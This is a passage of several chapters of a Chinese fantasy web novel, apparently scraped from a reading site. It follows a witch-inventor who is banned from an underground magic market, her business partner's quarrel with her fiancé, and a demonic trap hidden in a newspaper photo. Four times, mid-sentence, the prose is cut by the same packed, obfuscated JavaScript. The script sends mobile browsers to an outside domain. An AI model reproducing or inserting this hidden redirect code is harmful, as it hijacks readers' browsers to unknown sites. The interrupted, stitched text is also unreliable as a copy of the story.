艾莉西亚拍着身上的尘土,虽然她没摔跤,但马儿跑起来的时候刨起来的灰尘也不少,听到米亚的话,笑了笑,看向特蕾娅。 特蕾娅于是为米亚解惑,“事实上,一套手/弩做出来,成本能控制在90费尔左右,篆刻魔纹的费用另算,2-3费尔一只弩箭也足够了。但生意不是这么做的,巡夜者是地头蛇,给他们打折是虽然是惯常的做法,可若是巴尔纳说多少我们都答应,他一定会觉得价格还不够低,下一回他再压价,我们就不知道还能不能赚了。米亚,你得知道,太容易得到的东西让人没成就感,艾莉这样做,正是为长远做打算。” 米亚把特蕾娅的话咀嚼一番,最后无奈摇头,她还是老老实实给她们打工吧,这样的算计太耽误她做事了,有这个的时间,她还不如多打几柄剑胚。 …… 入夜,艾莉西亚披上斗篷,穿过寂静的巷道,来到热闹喧嚣的工厂区酒馆。 昏黄的燃气路灯下,酒馆外一群人围在一起,两个赤着上身的精悍男子正在打拳,两个人在一阵阵鼓噪助威的声浪中冲对方挥拳,拳拳到肉,直打得头破血流。 一个带着报童帽的家伙站在人群外,他手里捏着一沓钱,抽着烟,冷眼看着那一群被热血冲昏了的观众。 艾莉西亚从他身边经过,带起一阵微风,报童帽警惕地四下张望,却没发现可疑的人。 他低声咒骂一句,捏紧了手里的钱,摁灭烟头,将注意力都放在那两个互殴的拳手身上,等着他们结束,再换两个人,开启下一轮的热血战斗。 艾莉西亚绕过激动的人群,来到他们背后的酒馆旁的阴暗巷子里,进入巷子没多远,她在一处不起眼的地方找到一个符文,她抬起脚,在符文上点了一下,符文泛起波纹,一道仅供一人宽的门洞赫然出现。 艾莉西亚从门洞进去,她进去之后,门洞就消失了。 进去之后是通向地下的阶梯,这段阶梯很长,高差超过二十米,阶梯尽头传来明亮的光线和嘈杂的人声。 从阶梯走下去,出现在眼前的是一片开阔的大厅,大厅内部由十二根圆柱为支撑,每根圆柱上都安装明亮的魔法灯。 熙熙攘攘的大厅内摆满了各种各样的摊位,大家穿着各式各样的斗篷,身形和脸隐没在斗篷里,谁也不知道交易的另一方是人是狗。 不过这只针对大厅的人。 艾莉西亚穿过大厅,来到市场的另一端, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774072|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里有一家有着三四个店铺面积的杂货铺,那正是阿尔瓦雷斯·司佩的店。 他的店里有数个顶天立地的货架排列着,上面摆着的货物密密麻麻,从魔法材料到药水、再到魔法器具、炼金术产品,应有尽有。 艾莉西亚第一次来的时候,看到过一只封在货架上的深水鱼,活的,那玩意儿似乎很讨厌光线,它被封在货架上的魔法针纹内,看起来黑漆漆的。 阿尔瓦雷斯说那是来自海底大峡谷的一种拥有极强夜视能力、抗水压能力也很强的鱼,配合一定的药材,可以制作出拥有超绝夜视能力并强抗水压的魔药。有些人喜欢买这种药去海里探险,挖掘那些沉没在深海的商船。 阿尔瓦雷斯正在柜台后的躺椅上打瞌睡,脸上放着一本书,艾莉西亚敲了敲柜台。 阿尔瓦雷斯从椅子上弹起来,“干嘛?” 艾莉西亚放下兜帽,“结账。” 阿尔瓦雷斯看清楚艾莉西亚的脸,“你啊。”他打了个哈欠,从抽屉里摸出两个小布袋子丢到柜台上,“魔法结晶和金条都在这里了,点点吧。” 艾莉西亚正要去拿,闻言问道,“魔法蜥蜴的皮呢?” 阿尔瓦雷斯翻了翻眼皮,“什么魔法蜥蜴?” 艾莉西亚脸色冷了下来,“阿尔瓦雷斯·司佩,你的信誉会因为你的吝啬而完蛋,我保证。” 阿尔瓦雷斯也跟着冷笑,“是吗?那你可以试试,切斯特小姐。不要忘了你站在谁的地盘。” 艾莉西亚瞪着他,“你威胁我?” “对,我威胁你!”阿尔瓦雷斯比艾莉西亚还生气,“让你保护人,你却把弩箭射向雇主,让雇主身受重伤,你就是这么保护人吗?我能把魔法结晶给你已经是看在我们的交情上了,别太过分了。” 艾莉西亚这时候反应平静下来,“那事情情况紧急,我瞄准的是那个叫德蒙卡萨的人,只是我没想到他会无耻地用一位女士挡箭。而且,这样做也不是完全没好处,如果埃诺里小姐没受伤,那个叫德蒙卡萨的人会很容易就带走她。你知道他有这个实力。” 她肯定不会承认射伤埃诺里并不完全是意外,这在她听到德蒙卡萨逼问埃诺里《智慧之书》下落时就计划的。 射中德蒙卡萨是最好的结果,如果没有,埃诺里受伤也会让德蒙卡萨自乱阵脚——这让他拿不准艾莉西亚会不会顾及人质,如果艾莉西亚够心黑,她是可以放弃埃诺里的。而德蒙卡萨甘愿冒险抓住埃诺里,他必然要保证埃诺里的性命。 这就在在赌谁更在乎了。 阿尔瓦雷斯,“对,我还忘了德蒙卡萨!你竟然还回去把他救了出来,救出来你就把人放走了,切斯特小姐,难道我花钱雇佣你去救刺客的?你知不知道你在做什么?!” 12. 女巫的职业危机12 “嘿,放轻松,司佩,你雇佣我的时候可没告诉我,埃诺里女士遭遇风险的原因是她拿了不该拿的东西被找上门。而且,我们的交易中没有规定我要为你们杀人。” “我竟然不知道,切斯特小姐这么有正义感?”阿尔瓦雷斯说,“那是多么好的机会,你可以为埃诺里女士除去后患,但你没有做,那个刺客还会卷土重来。” 艾莉西亚心想,你们偷走别人的东西,人家不要回来才怪。就算德蒙卡萨死了,异端审判庭就不会再派人来? 不可能的。 在艾丽西亚看来,他就是故意找借口克扣她的报酬。 艾莉西亚很清楚司佩是什么样的人,她不客气地说,“司佩,你知道我做事的风格,如果你还有别的选择,你不会花这么大代价来找我。所以你们拿走《智慧之书》是个秘密,对吧?超出合理范围的价格是为了保密。” 司佩的眼里有了杀意,“你在逼我。” 一直以来,他一只表现得好像个圆滑的、胆小的商人,这一刻,他眼里的凶光让艾莉西亚明白,能把这个市场维持下来的家伙,不会是简单人物。 不过,褪去伪装之后,司佩的神态似乎有点眼熟…… 艾莉西亚脑海里浮现出另一张脸,埃诺里。 埃诺里也是个善于伪装的家伙。 这两人一个红发,一个黑发,五官轮廓也不尽相同,真让艾莉西亚说出哪里像,艾莉西亚又说不出来。 仔细想想,这可能就只是一种感觉。 艾莉西亚把疑惑压回心里,她对上司佩的目光,寸土不让,“你不敢!司佩,这个地下交易市场不是靠着黑吃黑建起来的,你要坏了规矩,第一个不放过你的就是巡夜者——他们在很早很早以前,就盯着这里了。不过你放心,我是个遵重契约精神的人,我只要我应得的那部分,别的我不关心。” 司佩的脸色变得很难看。 艾莉西亚戳到了他的痛点。 司佩的确没办法对艾莉西亚下手,但这不意味着他那艾莉西亚没办法。 司佩放松下来,从躺椅上站起来,手撑着柜台,以一种居高临下的姿态对艾莉西亚说,“如果你非要这么坚持,我希望你不要后悔,切斯特小姐。” 要回自己的钱,艾莉西亚不觉她会因此后悔,“这就不需要你担心了。” 司佩盯着艾莉西亚,片刻后嗤笑一声,从身后的柜子中拿出一个木匣子,丢到柜台上,然后摸出一支烟,点燃,空气中立刻充满尼古丁的味道。 艾莉西亚皱了皱眉,她打开木匣子看了一眼,半副魔法蜥蜴的皮,没错。 忍受着尼古丁的味道,艾莉西亚把金条、魔法结晶以及魔法蜥蜴皮一一收好。她的斗篷内缝制着数个兜袋,每个兜袋都有空间魔法,方便她取用物件。 这不是艾莉西亚独创,但有能力做出这样一件集隐蔽、储物一体的魔法道具的人不多,她从设计、到收集材料、再到制作,这个过程超过三年。 这也是司佩如此看中艾莉西亚的原因。 司佩看着艾莉西亚,突然说,“切斯特小姐,你或许不知道,埃诺里小姐原本有意聘请你成为她的长期护卫,如果你得到了她的认可,黑塔的魔法材料库就会为你敞开大门,那时候,你就不需要为了一点魔法材料四处奔波,更不用像乞丐一样到处求人。” 艾莉西亚头也不抬地说,“这就是你说的我会后悔的原因?那让你失望了,我可用不上。” 司佩吐出一个烟圈,“这还不够吗?你看看外面那些家伙,如果有人告诉他们干掉身边人可以进入黑塔,他们会毫不犹豫地拿出武器自相残杀。” 艾莉西亚把帽子重新扣回头顶上,隔着兜帽,她的声音有些失真,“黑塔只是一个由人类建起来的组织,比起大路上的这些国家,它甚至都不会伪装,它从上到下都奉行这赤/裸/裸的丛林法则,他们弱肉强食,死掉的人的骸骨堆起来比最高的魔法塔还要壮观。而这不是最绝望的,最绝望的是,那里胜利者得到一切,失败者沦为牲畜,永无翻身余地。” 司佩“哈哈”地笑起来,笑声讥诮,他在嘲笑艾莉西亚的无知,随便听到一点传闻就以为是真理。 艾莉西亚问他,“那里真的那么好,你又为什么会离开呢?” 司佩的笑容里的讥诮不改,但眼里多了审视。 艾莉西亚,“哦,看起来我猜得没错。” 司佩看了艾莉西亚一眼。她是什么时候发现这一点的?再一次,司佩觉得艾莉西亚是个麻烦的人。 他下逐客令,“你该离开了。”虽然很麻烦,但这个麻烦会滚得远远的了。 艾莉西亚心说这就破防了,心理素质不行啊,嘴里社交性礼貌道,“那么,再见,亲爱的阿尔瓦雷斯。” 司佩,“不,不必再见。” “什么意思?” 司佩露出一个恶劣的、充满了愉悦的笑容,“从今天起,你被魔法交易市场拒绝了。切斯特小姐。” 艾莉西亚还没反应过来,她脚下站立的地板突然有魔法阵亮起,眼前的景物像马赛克一样模糊起来,等视线再度恢复清晰时,她已经站在一个黑暗的、充斥着令人作呕味道的阴暗巷子内。 出来了? 艾莉西亚心存疑惑,通常来说,从哪里进,就从哪里出,像这样直接被传送离开的,极其少见。 艾莉西亚观察了一下自己所处的位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774073|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置,还好,仍在卡斯塔尼亚城内,至少司佩没有故意把她丢到其他国家活着其他城市,那样她就麻烦了。 不过司佩那句话是什么意思? 被地下魔法交易市场拒绝了?她以后不能再去交易市场了? 艾莉西亚没有立刻去验证这一点,时间不早了,作为一个背负着巨债的创业狗,她得赶紧回家休息,明天还要继续上班呢。 …… 后来艾莉西亚抽了个时间去酒馆后的巷子,哪里的魔纹已经消失了。 艾莉西亚又陆陆续续找了好几个入口,她再也没能进入地下交易市场。 就如司佩说的那样,艾莉西亚被拒绝了。 这应该和送她离开的魔法阵有关,从那里离开的人都被拉了黑名单,和地下魔法交易市场有关的魔纹都不可见。 艾莉西亚猜测要解决这个问题,要么换马甲,要么找到施加在她身上的印记魔法,彻底清除掉,可能会有机会重新进去。 但前者,艾莉西亚那么怀念地球,都没下定决心,现在就更不可能了;后者她仔细检查过,没有在自己身上找到一丁点儿魔法痕迹,看来设计这个魔法的人很厉害,艾莉西亚的水平没法解决。 但没有了方便的魔法材料来源,艾莉西亚开始有点焦虑。虽然现在因为在研究内燃机暂时顾不上那边,但以后呢?总不能以后还有跑去极北荒原自己找吧,那效率得多低。 事情一时半会儿解决不了,焦虑也解决不了,这导致艾莉西亚在为弩箭篆刻魔纹的时候弄坏了好几根,看得米亚眉头就没舒展过。 时间过得很快,很快到了和巡夜者签约的时间。 艾莉西亚状态不佳,新的内燃机样机也做好了,她直接留在工坊里测试,签约的事就拜托给了特蕾娅。 特蕾娅特意腾出时间,带着律师,昂首阔步去了位于卡斯塔尼亚市中心、皇后广场的市政大楼。 市政大楼只有巡夜者的办公室,特蕾娅却没有见到巴尔纳。 留守办公室的办事员小姐抱歉地说,“拉图瓦大道发生了一起恶性事件,巴尔纳阁下带着赶过去了,特蕾娅小姐您可以留下样品,合约的事需要延后再谈。” 拉图瓦只能说得上是中产聚集区,这样的地方需要出动巡夜者首领级别,说明事件本身就很严重,特蕾娅直到不是巴尔纳临时变卦,放心下来,和办事员小姐说好重新约时间,对方表示等巴尔纳回来确定下来,就通知他们,特蕾娅就准备离开了。 正当特蕾娅走在市政大楼的走廊中时,一个身材中等、样貌出众的男人冲出来,气咻咻地拽着特蕾娅到一处偏僻的地方,不高兴地说,“你来这里做什么?我不是让你不要过来么?” 13. 女巫的职业危机13 “凯伊,我来这里有工作。”特蕾娅认出是未婚夫凯伊·布兰卡,她远远地和律师做了个“没事”的手势,顺从地被他拽走。 凯伊·布兰卡不相信,他只比特蕾娅高半个脑袋,特蕾娅穿着有跟的鞋子,差不多能与他平视,因此即使冷着脸,凯伊看起来也没有什么气势。 不过布兰卡没有注意到这一点。 他不满地说,“我不管你有什么工作,你不能来市政厅,你这样会让我很难堪。” 这个年代的女性已经有不少走出家庭出来工作养活自己了,但仍有不少人抱持着古旧的观念,认为让家里的女性出来工作是家族没落的表现。 很不幸的是,布兰卡出自这样的家庭。 自从布兰卡和特蕾娅订婚后,布兰卡的父母就极力劝说特蕾娅回归家庭,这不是一件很难理解的事,布兰卡夫妇对凯伊寄予厚望,他们希望凯伊的妻子全心全意地照顾他、支持他,让他能没有后顾之忧。 不过让他们失望了,特蕾娅并没有这样的打算。对特蕾娅而言,工作一定是第一位的。 这并不是难理解,过去在孤儿院的经历让她很难依靠除了自己以外的人。不过她对布兰卡还是很满意的,凯伊今年才三十,已经是市政厅的高级办事员,他的顶头上司是个很有权势的大人物,他很赏识凯伊的能力,曾表示过会推荐布兰卡竞选议员。 两人的婚约开始于一场美好的相遇,那时候的特蕾娅年纪轻轻却已经成为一个工厂的经理了,正是这样的独立和才干让布兰卡觉得她和身边的女性截然不同,他深深地被特蕾娅吸引,两人很快订婚。 然而,随着布兰卡地位的提升,他越来越觉得特蕾娅独立和才干变得碍眼,过去那些吸引他的特制慢慢地变成了旁人笑话和攻击他的把柄,在这样的情况下,他的态度也渐渐地有了一些微妙的变化。 但布兰卡没想过解除婚约。 他还是很爱特蕾娅的,不仅仅是因为他对特蕾娅还有感情,还因为他对家庭的责任感,布兰卡始终认为一个绅士需要对他所爱的人负责,违背自己的诺言是很让人唾弃的行为。 况且,特蕾娅不是那种徒有其表的贫穷淑女,她的嫁妆很丰厚的,这对布兰卡家的下一代有着很好的帮助。 只是有时候,布兰卡会苦恼于特蕾娅的偏执,为什么她不能像那些淑女一样乖乖地进入婚姻呢?他的姐姐也曾不惜与父母决裂也要出去工作,最后还不是听话地结婚嫁人、回归家庭了。 “听着,”布兰卡说,“我不需要知道你来这里做什么,不论是因为工作还是别的,特蕾娅,我希望你不要出现在我工作的地方,这是底线,你也答应过的,不是吗?” “不,我没有答应过你这件事。我说的是如果没有需要,我会配合你的要求,但这个前提是不会影响我的工作。” 特蕾娅在“我的工作”这几个单词上咬得很重,接着,她露出个柔美的笑,特蕾娅并不是特别好看的女性,她的五官看起来甚至有点过于平淡了,但她的笑容很具有感染力,当她露出这样的笑容时,布兰卡又觉得自己或许太过分了,刚刚他从特蕾娅的同事身边拽走了她,这会不会给她带来麻烦? “亲爱的,能在这里遇到你太让我开心了,我有一点事情想要拜托你。” 在她的笑容中,布兰卡紧绷的神经松懈了一点,他没怎么考虑地问,“什么事?” “你帮我注意一下巡夜者办公室,我们的工坊拿到了为他们提供武器的订单,不过今天我来签约的时候,他们的首领因为一起突发事件离开了,合同签不了,我只能留下样品回去等通知。亲爱的,我需要你帮我关注一下,如果你能够及时通知我们找到恰当的时间签约就更好了。” 说到正事,布兰卡的表情渐渐慎重起来。 他朝外面看了一眼,没有人注意到角落里的他们,布兰卡压低了声音说,“拉图瓦大道有家人被灭门了,死了五个人,还有一个年幼的小女儿失踪了,连尸体也没找到。这件事警察们接到报案就把案子送到了巡夜者那里,他们认为这可能是某个邪教徒干的,案发现场发现了大量的、用鲜血绘制的诡异图案。” 特蕾娅咬着下嘴唇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774074|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把惊呼咽进肚子里。 …… “……凯伊告诉我的就是这些,这件事对我们没什么影响,我想巴尔纳不是故意为难我们,不过教堂那边可不会放过这个好机会,他们早就因为卡斯塔尼亚城内的光明神的信徒日益减少而相当不满。” 特蕾娅大声朝艾莉西亚吼道,车间里有三台内燃机同时运作的嘈杂声音,她不得不提高声音,免得艾莉西亚听不到。 教会搞事是必然的。 不过这件事和普通人没什么关系,切斯特家没人信仰光明神,或许邻居中信仰光明神的会义务为教堂帮忙,但那至多不过是宣传宣传教义,避开就行。 艾莉西亚现在待在工坊内,更是连人都见不到,就更没什么影响了。 米亚的工作效率非常高,艾莉西亚确认好制作活塞室的材料,一天之内,她就完成锻造了。艾莉西亚组装了三台内燃机,今天一大早,三台内燃机都正式开始测试。 特蕾娅带回来的消息算得上是个新鲜事,但没那么吸引人。 那个消失的小女孩倒是引起了艾莉西亚的注意,“凯伊有没有说那个孩子是什么情况?” 特蕾娅以为艾莉西亚是想起了家里的妹妹,她如实回答,“他也不知道,或许那孩子运气好,被好心人救走了呢。” “希望吧,”艾莉西亚想了想,提醒了一下,“如果零件厂有人是光明神的信徒,他们要做什么让他们请假好了。有时候人还是需要一点信仰来安置灵魂。” 这一点特蕾娅也想到了,“当然,我只是做生意的,并不是极端的无信仰分子。” 两人很快结束这个话题,只等着巡夜者那边的签约通知了。 艾莉西亚一边观察内燃机的运行情况,一个上午过去了,三台内燃机的运行良好,暂时看不出问题。 接下来艾莉西亚和米亚要住在工坊这边,日夜轮转地监测内燃机的运行情况,米亚家的孩子早就拜托贝斯帮忙照看,特蕾娅给她们找了一个照顾生活起居的女仆,免得两个家伙为了工作把自己饿死,那可就得不偿失了。 14. 女巫的职业危机14 内燃机测试持续了半个月,半个月的不间断运转,三台内燃机都出现了不同程度的问题。 其中一台的活塞室甚至出现了裂痕,换了新的气缸之后,又因为燃料喷射装置堵塞差点爆炸;另外两台也有一些问题,但磕磕绊绊撑了下来。停止运转后检修,这两台内燃机的各部位零件没有明显损伤。 艾莉西亚大大松了一口气,接下来还有几轮测试,只要能撑过去,再根据运转情况进行一些调整,就能把内燃机安装到车上了。 整车生产艾莉西亚的工坊肯定做不出来,不过现在市面上有做蒸汽汽车方向的研究,艾莉西亚准备去这样的厂家定制一台。 艾莉西亚这边的问题基本上解决,她轻松了不少,和米亚商量着休息两天,关了工坊回家。 米亚没意见,为了监测内燃机运转情况,她也半个月没见到家里两个小崽子了。 简单洗漱过后,艾莉西亚和米亚坐着女仆去附近小镇雇佣来的马车,进城。 米亚在切斯特家吃了顿午饭,感谢过贝斯这段时间对两个孩子的照顾,表示下午她去把三个孩子接回来,就回自己家收拾去了。 艾莉西亚吃完饭没什么形象地窝在沙发里,马上就要困过去。 贝斯拍拍她,“回房间休息。” 艾莉西亚“唔”了一声,游魂似的往自己房间去。贝斯看着她纤瘦挺拔的背影,叹了口气。 …… 这半个月发生了不少事。 特蕾娅仍然没能找到机会把巡夜者的订单确定下来。 她也没有放在心上,这个是算得上是天上掉馅儿饼,她的主要精力还是在经营零件厂和找投资上面。 前者有艾莉西亚和米亚的震慑,再加上特蕾娅刻意把工坊接到巡夜者订单的消息放出去,零件厂的订单一直很稳定,甚至还有人想通过特蕾娅搭上巡夜者。特蕾娅几部拒绝也不同意,趁机拉了不少订单。 后者她还是想从小安托瓦那里入手,可惜小安托瓦最近不知道怎么回事,找了他十次能见到两次就不错了。见面也没有提及投资的事,得知艾莉西亚还在死磕内燃机,就没有了下文。 这倒不是小安托瓦故意怠慢。 事实上他的事情也不少。 他的父母还在沃华德没回来,这边的生意都是他在打理,行程一直很繁忙。再加上他多次去埃诺里那里献殷勤,埃诺里原本对他爱答不理的,后来可能从沃华德听到了一些消息,态度有了转圜,得知他想要认识一些有能力的人之后,她没有给机会让他接触黑塔,而是给他推荐了阿尔瓦雷斯·司佩。 司佩这段时间过得不太好。 找人保护埃诺里的事情失利,他被狠狠骂了一顿,他的线人也没能把德蒙卡萨挖出来,本来心情就不好,埃诺里还把一个没能力的贵族旁系子弟送过来,让他牵线搭桥找个可靠的人。 小安托瓦穿街走巷,来到司佩居住的地方。 司佩做的事并不能放到台面上,他很懂“大隐隐于市”的道理,他选取的住所是那种混乱、人口流动性高、帮派势力复杂的地段,这里的居住着是那种看不到希望和未来的底层人,或许也有自强不息的家伙,但大多数人的工作都不太体面,大家的日子基本上是有一天算一天,靠低劣的酒精麻醉神经,一天天地醉生梦死。 小安托瓦已经可以穿上最不起眼的衣服了,但他那身质地优良、剪裁合身、针脚细密的正装在这里仍然显得格格不入。 他以进入这个地界就被人盯上了。 数个穿着脏乱的大汉跟在小安托瓦身后,他按照埃诺里给的地址走到一个巷子口,还没进去就发现了从几个方向包抄来的男人,他们的眼神十分露骨,明显不怀好意。 小安托瓦瞥了他们一眼,神态从容地往巷子深处去,但他刚往里走,背后有人说了一声,“动手。” 几个人就朝他扑过来。 小安托瓦转身,抬手,一直弩箭射了出去,射中的最前面那个男人的大腿,对方踉跄了一下,连忙扶着墙才没有摔倒。 “不想死就尽管来。”小安托瓦绑在手臂上的弩对准那几个堵在巷子口的家伙,他的神情没什么变化,眼神波澜不惊,但正是这样的冷漠,让跟来的人感到了危险——这不是那种软脚虾似的有钱人公子哥,面前这个家伙一点也不怕杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13774075|145720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 遇到硬茬子了。 领头的人判断出这一点,丝毫没犹豫,扛起受伤的同伴,“我们走。”他们倒退着从巷子里出去,生怕小安托瓦再给他们来一箭。 小安托瓦只是为了求稳,并不想惹事,达到目的后就收起了□□,敲响了司佩家的门。 司佩在屋子里,但却能通过魔法装置看到外面发生的事。 小安托瓦这么轻易就拜托那群家伙,倒让他有点意外。不过埃诺里看人一向比较准,这样一想,她能让小安托瓦来找自己,可能是为了让这家伙欠个人情,并且是欠她个人的。 …… 艾莉西亚睡了一个下午,在晚餐前被食物的香气唤醒了。 罗德已经从学校回来了,她穿着漂亮的小裙子,趁着贝斯不注意,下楼的时候不走楼梯,而是从栏杆上滑下去。 然而,她刚滑下来,就看到了艾莉西亚。 艾莉西亚朝着她咧嘴笑,大声告状,“妈妈,罗德她又从栏杆上滑下来了。” 贝斯和皮尔在书房说话,听到艾莉西亚的声音,立刻从书房里出来,看到罗德的屁股上一条明显的深色,气得把罗德的耳朵去盥洗室。 罗德一边叫唤“痛痛痛”,一遍回头恶狠狠地盯着艾莉西亚,她决定这辈子都不要原谅艾莉西亚了,太可恶了,她竟然向妈妈告状。 可怜的罗德被贝斯勒令脱下衣服,自己清洗,这个时候,她就更讨厌艾莉西亚了。 艾莉西亚逗完罗德,被皮尔叫去书房。 半个月没见,皮尔看起来憔悴了许多。他眼下深深地凹陷下去,眼睛又红又吐出,像是好几天没睡觉一样,艾莉西亚吓了一跳,“爸爸,你怎么了?” 皮尔疲惫地靠在椅子上,他看着艾莉西亚,良久,叹息一声,说,“艾莉,订婚吧。” “嗯?啊?为什么?”艾莉西亚有点不知道该用什么表情来回应,太突然了。 “趁我现在还能支付你的嫁妆,”皮尔说,“我会给你挑个不错的丈夫,他不会妨碍你工作的。结婚之前,我会让律师签署好协议,你未来的丈夫用你的每一分钱都需要你的同意。” 15. 女巫的职业危机15 怎么就突然说到结婚了呢? 艾莉西亚想问问清楚到底是怎么回事,但皮尔拒绝的态度很明显。 他到底出了什么事?破产了吗?被人害了?还是因为别的什么? 第二天一早,艾莉西亚和皮尔一起吃早餐,她想要问清楚情况,皮尔态度仍旧是让她不要担心,他会处理好一切。 艾莉西亚没办法,一边吃早餐一边心不在焉地看报纸,心里想着怎么让皮尔开口。 头条还是拉图瓦大道的命案,半个月过去了,这个事情还没有结果,报社连续炒作,消息根本压不住。 伯爵府那边不知道怎么考虑的,竟然没有出面控制舆论,结果是这段时间各种谣言甚嚣尘上。 闹得最厉害的肯定是光明教廷了,教堂的神父公开宣称这是背叛神的惩罚,卡斯塔尼亚城已经逐渐被光明神抛弃,如果领主还不肯悔改,这座城市将会走向灭亡。 这样的观点通过集会、报纸、还有去教堂忏悔做礼拜的人传得满城都是,一时间人心惶惶,人们开始涌向教堂,祈祷的、交钱买赎罪券的,无论信仰光明神与否,这里都成为他们精神上的避难所,教堂因此人满为患。 神父借机向市政厅申请建造第二座教堂,不少议员都被说动了,但文件卡在了伯爵府。 领主始终不表态。 传播死者的惨状没办法达到目的,今天报道的内容换成了案发现场那些诡谲邪恶的图案。 艾莉西亚心不在焉地展开报纸,脑子还没反应过来,黑白照片上显现出扭曲诡谲的画面,一瞬间,艾莉西亚的大脑遭到重击,照片成为媒介,黑暗的邪恶能量突破空间屏障,直击艾莉西亚。 艾莉西亚突然进入到一个充斥着阴影的邪恶空间,她眼前血红色一片,恍惚间听到了撕裂的、杂乱的、致人疯狂的呓语,它们充斥着大脑,扭曲了她的感官,她好像看到了一个模模糊糊的长角的巨大阴影。 阴影蠕动着,扭曲成一团,它越来越清晰,渐渐地,能看出错乱的五官。 艾莉西亚多年来对魔力的锻炼在这时候起到了关键作用,她拼命调动魔力,一层一层裹住大脑,隔绝自身感官,让神念从那处空间中抽离,总算在阴影彻底成型前隔绝了脑海中的呓语。 眼前血红一片,艾莉西亚下意识眨了眨眼睛,温热的液体从眼角流了出来。她耳朵里一阵阵耳鸣,但渐渐地能够听到声音。 有人在呼唤她。 “艾莉,艾莉,你怎么了?快醒过来,艾莉——”是皮尔的声音。 贝斯把她抱在怀里,捧着她的脸,“没事的宝贝,没事的,妈妈在这里。没事的。”她诵念起光明神的教义,试图向神祇求助。 艾莉西亚听到了贝斯和皮尔担忧的声音,可她说不出话。 她想要用手去触碰他们,让他们安心,但她很快发现,皮尔抓住了她的手腕,她什么也做不了。 痛感后知后觉袭来,艾莉西亚感觉脸上、脖子上火辣辣的,可能是刚刚抓伤了自己。 家里两位女仆一位厨娘听到夫妇俩焦急的声音,跑来餐厅查看情况,她们看到艾莉西□□况,都被吓坏了,以为艾莉西亚发疯了,厨娘丽塔大婶口里喊着“光明神保佑”,要帮切斯特夫妇叫车夫来送艾莉西亚去医院。 皮尔厉声喝止了她们,让她们回去厨房。 丽塔大婶在切斯特家工作了好几年,从来没有看到男主人暴怒的样子,她的嘴唇哆嗦了一下,什么都没说,带着两个年轻女孩回厨房去了。 有钱人总有一些奇奇怪怪的病。丽塔大婶想。切斯特家的大女儿早年走丢过,她听说那孩子被找回来的时候,瘦得皮包骨头,话都不会说了,也不肯见人,一整年都把自己关在房间里不肯出来。 也是可怜。 后来,贝斯告诉丽塔大婶,艾莉西亚被报纸上的新闻吓到了,他们夫妻在安慰孩子。 丽塔大婶不知道信还是没信,但贝斯表示会多支付她半个月薪水、两个女仆也多支付一次周薪,三人一致表示艾莉西亚一定下坏了,需要好好修养。 艾莉西亚躺在床上发呆。 皮尔去酒厂了,他原本不想出门,但艾莉西亚再三保证自己不会有事,皮尔虽然将信将疑,然而他的确还有很多事需要处理,只好反复叮嘱,让贝斯在家陪着艾莉西亚,这才离开。 楼下传来罗德叽叽喳喳的声音,贝斯正在想办法让罗德赶紧收拾起来,小家伙喜欢赖床,她错过了一早的事故,但马上要迟到了,贝斯不得不吼着她赶紧出门。 艾莉西亚摸着心脏,它“砰砰”“砰砰”“砰砰”地跳动着。像一段恒久的旋律,从人类诞生伊始,这段旋律就世代交替,绵延不绝。 她早就知道,拉法索亚大陆并不是地球那样的净土。 这里有神祇、有恶魔,有神使,也有恶魔的仆从。神祇和恶魔无法亲身降临人间,神使和仆从们却能使用祂们的力量在这片土地肆虐。 人类头顶始终笼罩着阴云。 艾莉西亚曾以自己拥有的女巫天赋而感到庆幸,却从没有想过,这样的力量是为何而存在。 艾莉西亚深吸一口气。将思绪从人类的共同命运拉回来。 今天的事情太过蹊跷,普通的恶魔召唤法阵根本没有这种效果,更何况是这种全程印发的报纸呢? 她仔细检查了一番,在照片上找到了魔法残留的痕迹,这种痕迹艾莉西亚曾见过,它是一个陷阱,专门为有魔力的人而设置。 只有有魔力的人在接触到魔法阵的瞬间魔力涌动,会无意识激活恶魔召唤阵,从而让现世与恶魔空间链接,激活召唤阵的人自然而然成为恶魔送上门的甜点。 